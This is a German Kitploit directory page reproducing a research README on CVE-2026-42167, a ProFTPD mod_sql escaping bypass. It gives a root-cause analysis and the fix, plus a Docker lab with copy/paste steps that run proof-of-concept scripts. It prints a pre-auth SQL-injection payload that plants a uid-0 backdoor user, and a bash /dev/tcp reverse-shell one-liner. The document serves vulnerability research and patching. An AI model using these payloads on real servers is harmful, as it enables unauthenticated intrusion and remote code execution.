Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
proftpd-CVE-2026-42167-analysis — Unabhängige Reproduktion, Root-Cause-Analyse auf Code-Ebene und realistische Exposure-Dokumentation für CVE-2026-42167 (ProFTPD mod_sql is_escaped_text()-Umgehung). | Kitploit
Tools/GitHubGitHub/dinosn
/
proftpd-cve-2026-42167-analysis
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsPapers & ForschungLernen & Bildung
GitHubdinosn/proftpd-cve-2026-42167-analysis

proftpd-CVE-2026-42167-analysis

Unabhängige Reproduktion, Root-Cause-Analyse auf Code-Ebene und realistische Exposure-Dokumentation für CVE-2026-42167 (ProFTPD mod_sql is_escaped_text()-Umgehung).

Repository anzeigen
3110vor 5 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-42167 — ProFTPD mod_sql SQL-Injection / Auth-Bypass / RCE

Unabhängige Reproduktion, Code-Level-Root-Cause-Analyse und eine offene Expositionsanalyse für CVE-2026-42167 — den is_escaped_text()-Bypass in der mod_sql-Logging-Pipeline von ProFTPD, offengelegt von ZeroPath Research und behoben in ProFTPD 1.3.9a / 1.3.10rc1.

End-to-End in Docker auf macOS / Apple Silicon erstellt und verifiziert, 2026-04-29.

TL;DR — siehe Fazit für das realistische Expositionsbild, bevor Sie entscheiden, wie besorgt Sie sein sollten. Dies ist kein Standard-Installations-Bug, aber das gefährliche Quoting-Muster ist das Muster, das die Upstream-Dokumentation Ihnen zu verwenden empfiehlt, sodass ein großer Teil der mod_sql-Bereitstellungen es erbt.

FeldWert
CVECVE-2026-42167
CWECWE-89 (SQL-Injection), CWE-78 (OS-Command-Injection — via PG COPY TO PROGRAM)
BetroffenProFTPD ≤ 1.3.9 mit mod_sql + SQLLog/SQLNamedQuery, dessen Formatstring eine angreiferkontrollierte Variable innerhalb einfacher Anführungszeichen interpoliert
Behoben in1.3.9a (af90843ba…) / 1.3.10rc1, siehe Commit e6f728481 ("Issue #2052")
Fixierter verwundbarer Commitae25959adb05ae1d6ebfa1f36bf778c9c34e9410
Verwundbare Dateicontrib/mod_sql.c Zeilen 741–758 (is_escaped_text) und Zeile 777 (sql_resolved_append_text)
Ursprüngliche Offenlegunghttps://zeropath.com/blog/proftpd-cve-2026-42167-auth-bypass-privesc-rce
Öffentlicher PoChttps://github.com/ZeroPathAI/proftpd-CVE-2026-42167-poc
Release-Notizenhttp://www.proftpd.org/docs/RELEASE_NOTES-1.3.10rc1

1. Root Cause — is_escaped_text()-Heuristik in contrib/mod_sql.c

mod_sql löst Logging-Formatvariablen (%U, %{basename}, usw.) auf und hängt jedes Stück über sql_resolved_append_text() in das gerenderte SQL ein. Um die Abwärtskompatibilität mit Admin-Konfigurationen zu wahren, die Variablen bereits in '…' kapseln, ruft die Funktion is_escaped_text() auf, um zu entscheiden, ob sql_escapestring benötigt wird:```c /* contrib/mod_sql.c — vulnerable commit ae25959 */ 741 static int is_escaped_text(const char text, size_t text_len) { 742 register unsigned int i; 743 744 if (text[0] != ''') return FALSE; 745 if (text[text_len-1] != ''') return FALSE; 746 for (i = 1; i < text_len-1; i++) 747 if (text[i] == ''') return FALSE; 748 return TRUE; 749 } … 777 if (is_escaped_text(text, text_len) == FALSE) { … / …sql_escapestring()… */ 790 } else { 791 pr_trace_msg(trace_channel, 17, 792 "text '%s' is already escaped, skipping escaping it again", text); 793 new_text = (char *) text; 794 new_textlen = text_len; 795 }

Die Prüfung ist rein strukturell – sie kann nicht zwischen *„bereits durch
vertrauenswürdigen Code maskiert"* und *„von einem Angreifer so gestaltet, dass es
bereits maskiert aussieht"* unterscheiden.
Jeder clientseitig gelieferte Wert, der `'<no-internal-quotes>'` entspricht, überspringt
`sql_escapestring` und wird unverarbeitet in die endgültige Abfrage eingefügt.

Die standardmäßige, dokumentierte Konfiguration umschließt `%U` / `%{basename}` / `%m` in einfache
Anführungszeichen:```
SQLNamedQuery log_activity INSERT "'%U', '%r', '%m'" activity_log
SQLLog        ERR_*       log_activity

Wenn der Angreifer USER '<payload>' sendet (Anführungszeichen am Anfang und Ende, keine internen Anführungszeichen), ersetzt der Resolver %U unescaped, was ''<payload>'' in der SQL-Abfrage erzeugt – die leeren String-Literale schließen die umgebenden Anführungszeichen und <payload> wird als rohes SQL ausgeführt. Mit PostgreSQL (PQexec) und SQLite (sqlite3_exec) werden gestapelte Abfragen unterstützt, sodass <payload> eine beliebige Folge von Anweisungen sein kann.

Da SQLLog ERR_* bei fehlgeschlagenen Logins ausgelöst wird und %U aus USER vor der Authentifizierung gesetzt wird, ist der Angriff vollständig ohne Authentifizierung möglich.

Der Fix (Commit e6f728481, "Issue #2052")

sql_resolved_append_text() erhält einen already_escaped-Parameter. Aufrufer, die Werte aus Client-Eingaben auflösen, übergeben FALSE und durchlaufen nun sql_escapestring bedingungslos – die is_escaped_text()-Heuristik wird weiterhin für den legitimen Pfad "Konfiguration enthält vorab escaped Wert" angewendet, gilt aber nicht mehr für angreiferkontrollierte Daten.


2. Laborumgebung```

+--------------------+ FTP 21 +-----------------------+ | attacker (host) | <--> 127.0.0.1:2121 | proftpd-poc-server | | python3 PoCs | | ProFTPD 1.3.9-pre | +--------------------+ | mod_sql_postgres | +-----------+-----------+ | libpq v +-----------------------+ | proftpd-poc-postgres | | PostgreSQL 15 | | role 'proftpd' = SU | +-----------------------+

- Beide Container werden über `setup/docker-compose.yml` gestartet.
- `setup/proftpd.conf` aktiviert die verwundbare Logging-Konfiguration (siehe §1).
- `setup/seed.sql` erstellt `users`, `groups`, `activity_log`, `xfer_log`
  und `secrets` sowie einen einzelnen legitimen FTP-Benutzer `ftpuser / ftppass`.

---

## 3. Reproduktion — Copy/Paste

Voraussetzungen: Docker Desktop, Python 3.10+, git. (`uv` ist optional; die
PoCs benötigen nur die Standardbibliothek.)```bash
# 1) clone this repo
git clone https://github.com/dinosn/proftpd-CVE-2026-42167-analysis.git
cd proftpd-CVE-2026-42167-analysis/poc

# 2) build vulnerable proftpd + postgres in Docker
cd setup && ./setup.sh && cd ..
#   - clones proftpd source pinned to ae25959a (vulnerable)
#   - builds with --with-modules=mod_sql:mod_sql_postgres
#   - starts both containers, waits for healthchecks

# 3) reproduce — pre-auth backdoor user (uid=0, homedir=/)
python3 pocs/preauth_user_backdoor.py --host localhost --port 2121

# 4) inspect the planted account
docker exec proftpd-poc-postgres psql -U proftpd -d proftpd \
  -c "SELECT userid,uid,gid,homedir,shell FROM users;"

# 5) reproduce — post-auth STOR backdoor
docker exec proftpd-poc-postgres psql -U proftpd -d proftpd \
  -c "DELETE FROM users WHERE userid='backdoor';"
python3 pocs/postauth_stor_backdoor.py \
  --host localhost --port 2121 --user ftpuser --password ftppass

# 6) reproduce — pre-auth RCE proof (non-interactive, marker-file variant)
python3 pocs/preauth_rce_marker.py --host localhost --port 2121
docker exec proftpd-poc-postgres cat /tmp/cve-2026-42167-rce.txt

# 7) tear down
cd setup && ./teardown.sh

Die beiden interaktiven Varianten im Upstream-Repository (preauth_user_rce.py, postauth_stor_rce.py) sind unverändert und öffnen eine PTY-gestützte Reverse Shell. Sie verwenden dasselbe Primitive wie die Marker-Variante — ersetze einfach den Shell-Befehl durch bash -i >& /dev/tcp/<host>/<port> 0>&1 und höre zuerst auf <port>.


4. Die Payloads, Byte für Byte

Pre-Auth-Backdoor (USER-Befehl, %U)```

USER ', null, null); INSERT INTO users VALUES($$backdoor$$, $$pwned123$$, 0, 0, $$/$$, $$/bin/bash$$); --' PASS x

Warum es funktioniert:
Tool herunterladen